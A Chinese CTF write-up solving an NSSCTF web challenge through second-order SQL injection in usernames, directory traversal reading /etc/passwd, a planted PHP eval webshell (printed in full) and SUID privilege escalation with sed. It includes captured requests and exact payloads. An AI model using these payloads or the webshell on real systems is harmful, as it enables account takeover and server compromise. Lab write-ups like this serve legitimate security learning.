题目描述
- SUID提权
- 二次注入
- 目录穿越
解题思路
打开题目 第一个入眼参数是id; 尝试注入 没有结果 尝试别的参数 2、3等 发现admin 再点击右侧用户图标 出现注册登录
进行注册登录 同时进行目录扫描
注册 123 123 123用户 url的?id=3也有了结果
查看扫描的目录 查看后都是php文件 也无法看到源码;
从/static中查看user.html 应该user.html也就是登录成功的页面
对登录进行注入 没有成果 看着这个页面 用户是用%s直接传的参在页面改不了 直接bp抓包 再试试能不能注入
抓包结果
POST /?c=user&m=updateUserInfo HTTP/1.1
Host: node4.anna.nssctf.cn:28085
Content-Length: 119
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://node4.anna.nssctf.cn:28085
Referer: http://node4.anna.nssctf.cn:28085/?c=user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=25abefe8a5aeddd2956a27286bbb15a7; td_cookie=1849363639
Connection: close
name=MTIzNA%3D%3D&newPass=140f6969d5213fd0ece03148e62e461e&oldPass=81dc9bdb52d04dc20036dbd8313ed055&saying=MTIzNA%3D%3D
不能改的两参数 一看%3d就是base64 另外两个密码有点像md5 直接js找请求 从爬虫角度xhr断点 跟栈 找到加密点 同时看出这个js主要是围绕root和admin展开的果然是MD5 知道加密了 试试注入 改了参数后返回响应 没有权限 或者密码错误
function login(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
let pass=hex_md5($(".form-floating>input").eq(1).val())
$.ajax({
url: '/?c=app&m=login',
type: 'post',
data: 'name=' + name+'&pass=' + pass,
// async:true,
dataType: 'text',
success: function(data){
let res=$.parseJSON(data);
if (res['login']){
switch (res['type']){
case 'user': location.href="/?c=user"; break;
case 'admin': location.href="/?c=admin"; break;
case 'root': location.href="/?c=root"; break;
}
}else if(res['alertFlag']){
alert(res['alertData']);
}
}
});
}
function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function signOut(){
$.ajax({
url: '/?c=app&m=signOut',
type: 'get',
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function alertHandle(data){
let res=$.parseJSON(data);
if(res['alertFlag']){
alert(res['alertData']);
}
if(res['location']){
location.href=res['location'];
}
}
function changeAdminPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
}
}
function changeRootPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
}
}
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
function adminHome(){
location.href='/?c=root'
}
function getUserInfo(){
location.href='/?c=root&m=getUserInfo'
}
function getLogList(){
location.href='/?c=root&m=getLogList'
}
function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}
function register(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
let pass=hex_md5($(".form-floating>input").eq(3).val())
let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
$.ajax({
url: '/?c=app&m=register',
type: 'post',
data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
dataType: 'text',
success: function(data){
// console.log(data);
alertHandle(data);
}
});
}
再考虑到提示二次注入 现在看 就四个注入点首页id、注册、登录、登录成功后的修改密码
从本题看 是写入insert和读取select造成的注入(我记得攻防世界有一道二次注入 是写入insert 和修改update 直接结合进行改文件名 题目忘记了)
对注册进行构造name=admin" – + 再进行登录
试试修改密码后 能否使用 admin 能不能登录 登陆成功后发现admin是不允许修改的密码的 同时参数多了两个页面?c=admin和?c=admin&m=getUserList
第二个页面显示账号信息 但是没有root用户 同样的方法试试root
但是返回 没有权限 猜测应该是参数?c=user的原因
考虑到admin页面的情况以及js代码中的注释 用用admin的api试试
这里一定要改cookie不然就会这样。。。。
POST /?c=admin&m=updatePass HTTP/1.1
Host: node4.anna.nssctf.cn:28114
Content-Length: 119
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://node4.anna.nssctf.cn:28114
Referer: http://node4.anna.nssctf.cn:28114/?c=user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=25abefe8a5aeddd2956a27286bbb15a7; td_cookie=1854722386
Connection: close
name=cm9vdA%3D%3D&newPass=81dc9bdb52d04dc20036dbd8313ed055&oldPass=81dc9bdb52d04dc20036dbd8313ed055&saying=MTIzNA%3D%3D
修改成功后就是登录root 增加了一个?c=root&m=getLogList页面 可以进行下载 下载的文件是日志 试试能不能下载别的 结合之前扫描爆出来的那几个目录试试 然后找了好久都返回文件不存在 参考参考别人wp 人家找文件就好对找
../../../../../etc/passwd
../../../../../var/www/html/phpinfo.php
找到shell:
<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>
可以直接执行 也可以用蚁剑连它
我用的是蚁剑(使用post 还要加个post参数)直接连
http://node4.anna.nssctf.cn:28114/phpinfo.php/?pass_31d5df001717=1q2w3e&cc=eval($_POST[‘cc’]);
密码cc
我说怎么找不到呢。。。。。。。
在根目录找到flag 打开没东西 那就是提权了 提示是SUID提权 那就搜索吧
find / -user root -perm -4000 -print 2>/dev/null#查找拥有suid的二进制文件
/bin/sed '' /flag #读取